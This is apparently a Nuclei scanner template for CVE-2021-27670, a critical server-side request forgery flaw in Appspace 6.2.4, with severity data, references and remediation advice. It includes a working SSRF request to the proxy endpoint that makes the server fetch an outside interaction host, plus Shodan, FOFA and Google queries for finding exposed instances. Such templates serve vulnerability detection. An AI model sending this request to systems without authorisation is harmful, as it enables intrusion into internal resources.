id: CVE-2021-27670

info:
  name: Appspace 6.2.4 - Server-Side Request Forgery
  author: ritikchaddha
  severity: critical
  description: Appspace 6.2.4 allows SSRF via the api/v1/core/proxy/jsonprequest url parameter.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, data leakage, and potential remote code execution.
  remediation: |
    Upgrade to a patched version of Appspace 6.2.4 or apply the necessary security patches provided by the vendor.
  reference:
    - https://github.com/h3110mb/PoCSSrfApp
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27670
    - https://github.com/ArrestX/--POC
    - https://github.com/KayCHENvip/vulnerability-poc
    - https://github.com/Miraitowa70/POC-Notes
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-27670
    cwe-id: CWE-918
    epss-score: 0.61228
    epss-percentile: 0.97796
    cpe: cpe:2.3:a:appspace:appspace:6.2.4:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: appspace
    product: appspace
    shodan-query:
      - title:"Appspace"
      - http.title:"appspace"
    fofa-query: title="appspace"
    google-query: intitle:"appspace"
  tags: cve,cve2021,appspace,ssrf

http:
  - method: GET
    path:
      - '{{BaseURL}}/api/v1/core/proxy/jsonprequest?objresponse=false&websiteproxy=true&escapestring=false&url=http://oast.live'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<h1> Interactsh Server </h1>"

      - type: status
        status:
          - 200
# digest: 490a0046304402202efb77a9c61f1de6c92e5f91aed740b8a32ec92b7cb5badea058b2a37dc740b702205bf7cb5a196516790fd9c6f55f822f3e1c3e1db8e364c15296c03a5f69a9063c:922c64590222798bb761d5b6d8e72950